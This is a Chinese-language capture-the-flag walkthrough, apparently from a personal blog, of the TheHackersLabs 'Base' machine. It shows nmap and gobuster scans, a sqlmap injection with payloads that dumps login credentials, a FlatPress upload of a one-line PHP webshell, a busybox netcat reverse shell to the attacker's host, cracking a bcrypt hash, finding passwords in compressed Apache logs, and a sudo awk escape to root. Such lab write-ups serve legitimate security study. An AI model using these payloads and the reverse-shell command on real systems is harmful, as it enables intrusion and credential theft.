TheHackersLabs-Base-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e3:f6:57 VMware, Inc.
192.168.60.168 08:00:27:c5:86:bc PCS Systemtechnik GmbH
192.168.60.254 00:50:56:e0:65:b2 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.064 seconds (124.03 hosts/sec). 4 responded
export ip=192.168.60.168
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Because guessing isn't hacking.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.168:22
Open 192.168.60.168:80
Open 192.168.60.168:8080
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 16:30 CST
Initiating ARP Ping Scan at 16:30
Scanning 192.168.60.168 [1 port]
Completed ARP Ping Scan at 16:30, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:30
Completed Parallel DNS resolution of 1 host. at 16:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:30
Scanning 192.168.60.168 [3 ports]
Discovered open port 80/tcp on 192.168.60.168
Discovered open port 8080/tcp on 192.168.60.168
Discovered open port 22/tcp on 192.168.60.168
Completed SYN Stealth Scan at 16:30, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.60.168
Host is up, received arp-response (0.00043s latency).
Scanned at 2025-01-31 16:30:22 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
MAC Address: 08:00:27:C5:86:BC (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (160B)

浏览器访问80端口发现基于flatpress搭建的博客

但这个flatpress我是第一次知道

image

常规扫一下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.168
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 301) [Size: 315] [--> http://192.168.60.168/docs/]
/admin (Status: 301) [Size: 316] [--> http://192.168.60.168/admin/]
/server-status (Status: 403) [Size: 279]
Progress: 207643 / 207644 (100.00%)
===============================================================
Finished
===============================================================

有个admin但没有权限,因为我没登陆

尝试添加一下后缀再扫一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.168
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 316] [--> http://192.168.60.168/admin/]
/admin.php (Status: 302) [Size: 0] [--> http://192.168.60.168/login.php]
/admin.php (Status: 302) [Size: 0] [--> http://192.168.60.168/login.php]
/blog.php (Status: 302) [Size: 0] [--> http://192.168.60.168/?]
/comments.php (Status: 302) [Size: 0] [--> http://192.168.60.168/]
/defaults.php (Status: 200) [Size: 0]
/docs (Status: 301) [Size: 315] [--> http://192.168.60.168/docs/]
/contact.php (Status: 200) [Size: 5936]
/index.php (Status: 200) [Size: 5728]
/index.php (Status: 200) [Size: 5728]
/login.php (Status: 200) [Size: 5079]
/rss.php (Status: 301) [Size: 0] [--> http://192.168.60.168/?x=feed:rss2&]
/search.php (Status: 200) [Size: 8948]
/sitemap.php (Status: 200) [Size: 594]
/static.php (Status: 302) [Size: 0] [--> http://192.168.60.168/]
Progress: 23670 / 23675 (99.98%)
===============================================================
Finished
===============================================================

有个login.php,但我们没用户凭据,起初我想的是网上找一下exploit的利用方案,但不知道这个CMS的版本是多少

SQL注入

差点忘记靶机还开放了8080端口

尝试访问一下

表单中已经缓存了用户名Juan

image

好像可以查询到用户信息

image

猜测有SQL注入的风险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
❯ sqlmap -u "http://192.168.60.168:8080/search.php?query=" --batch -D FlatPress -T login --dump
___
__H__
___ ___[']_____ ___ ___ {1.8.12#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:58:17 /2025-01-31/

[16:58:17] [WARNING] provided value for parameter 'query' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:58:17] [INFO] resuming back-end DBMS 'mysql'
[16:58:17] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: query (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: query=' AND (SELECT 6584 FROM (SELECT(SLEEP(5)))xQes) AND 'IrcU'='IrcU

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: query=' UNION ALL SELECT CONCAT(0x71786b7671,0x52545875617474437a52685277445446484e557661614c4a6143585949734c6b62714d674b6a7156,0x71706a7071),NULL,NULL,NULL,NULL-- -
---
[16:58:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:58:17] [INFO] fetching columns for table 'login' in database 'FlatPress'
[16:58:17] [INFO] fetching entries for table 'login' in database 'FlatPress'
Database: FlatPress
Table: login
[1 entry]
+----+--------+-----------------------+
| id | user | password |
+----+--------+-----------------------+
| 1 | r0dgar | SNIETbkGBCnhFqeUJuqBO |
+----+--------+-----------------------+

[16:58:17] [INFO] table 'FlatPress.login' dumped to CSV file '/home/Pepster/.local/share/sqlmap/output/192.168.60.168/dump/FlatPress/login.csv'
[16:58:17] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.168'

[*] ending @ 16:58:17 /2025-01-31/

拿到用户凭据了r0dgar SNIETbkGBCnhFqeUJuqBO

image

登入上去发现版本是1.2.1

image

exp利用

正巧网上有这个版本的漏洞

Flatpress 1.2.1 - 绕过文件上传到 RCE 漏洞 ·问题 #152 ·flatpressblog/flatpress

利用一下

不过按照issues的一句话木马我无法正常执行

FlatPress v1.3 - Remote Command Execution - PHP webapps Exploit

看了相关代码

利用这个即可,编辑完上传即可

1
2
GIF89a;
<?=`$_GET[0]`?>

利用busybox反弹shell

http://192.168.60.168/fp-content/attachs/gif_rev.php?0=busybox nc 192.168.60.100 4444 -e sh

#用户提权

发现有两个用户

1
2
3
4
5
6
7
8
9
10
11
❯ pwncat-cs -lp 4444
[17:27:10] Welcome to pwncat 🐈! __main__.py:164
[17:28:26] received connection from 192.168.60.168:48766 bind.py:84
[17:28:27] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
192.168.60.168:48766: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@TheHackersLabs-Base:/var/www/html/fp-content/attachs$ cat /etc/passwd|grep /bin/bash
root:x:0:0:root:/root:/bin/bash
pedro:x:1001:1001::/home/pedro:/bin/bash
flate:x:1002:1002::/home/flate:/bin/bash

没想到user直接就能读

1
2
(remote) www-data@TheHackersLabs-Base:/home/flate$ cat user.txt
8504475afe9f080cdbadeb55460fb842

得想办法提权

发现opt目录下藏了个hash

爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(remote) www-data@TheHackersLabs-Base:/home/flate$ cd /opt/
(remote) www-data@TheHackersLabs-Base:/opt$ ls
hash.txt
(remote) www-data@TheHackersLabs-Base:/opt$ cat hash.txt
$2b$12$Qq75yQ3G.ydG2nxr4LzAPeJ6GE8po1NtjOAGZ2l1aIGa5//I5J/Xq
---------------------分隔---------------------
❯ vim hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret (?)
1g 0:00:00:01 DONE (2025-01-31 17:32) 0.8264g/s 59.50p/s 59.50c/s 59.50C/s justin..666666
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

adm用户组

切换用户

1
2
3
4
5
(remote) www-data@TheHackersLabs-Base:/home$ su pedro
Password:
pedro@TheHackersLabs-Base:/tmp$ id
uid=1001(pedro) gid=1001(pedro) grupos=1001(pedro),4(adm)

发现隶属于adm组中,可以查看log日志

通常,**adm** 组的成员有权限读取位于 /var/log/ 中的日志文件。
因此,如果你已经攻陷了该组中的用户,你应该确实查看日志

我gerp了半天,愣是一点有用的信息都没有

看了其他大佬的WP发现藏在gz压缩包中

可以使用zgrep进行筛选

1
2
3
4
5
pedro@TheHackersLabs-Base:/var/log/apache2$ zgrep -E 'username' /var/log/apache2/*.gz
/var/log/apache2/access.log.2.gz:203.0.113.56 - flate [12/Sep/2024:12:03:55 +0000] "POST /login HTTP/1.1" 401 4812 "http://example.com/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "username=flate&password=HPAbcmOgSjidaoWkXUQjw"
/var/log/apache2/access.log.3.gz:172.16.241.171 - [10/Sep/2024:11:47:00 -0600] "GET /login.php?username=flate&password=HPAbcmOgSjidaoWkXUQjw HTTP/1.1" 404 1234 "http://172.16.241.180/somepage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"


通过使用zgrep,您可以直接在压缩文件中搜索文本,而不需要先解压文件。这在需要搜索大型压缩文件时非常有用,因为解压整个文件可能会占用大量时间和磁盘空间

Root提权

切换用户flate

发现拥有sudo权限

1
2
3
4
5
6
7
8
9
pedro@TheHackersLabs-Base:/home$ su flate
Contraseña:
flate@TheHackersLabs-Base:/home$ sudo -l
Matching Defaults entries for flate on TheHackersLabs-Base:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User flate may run the following commands on TheHackersLabs-Base:
(root) NOPASSWD: /usr/bin/awk

直接awk提权即可

1
2
3
4
5
flate@TheHackersLabs-Base:/home$ sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
root@TheHackersLabs-Base:/home# id
uid=0(root) gid=0(root) grupos=0(root)
root@TheHackersLabs-Base:/home# cat /root/root.txt
eb78a0f5d2d6c7a726044b3dee34012b
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k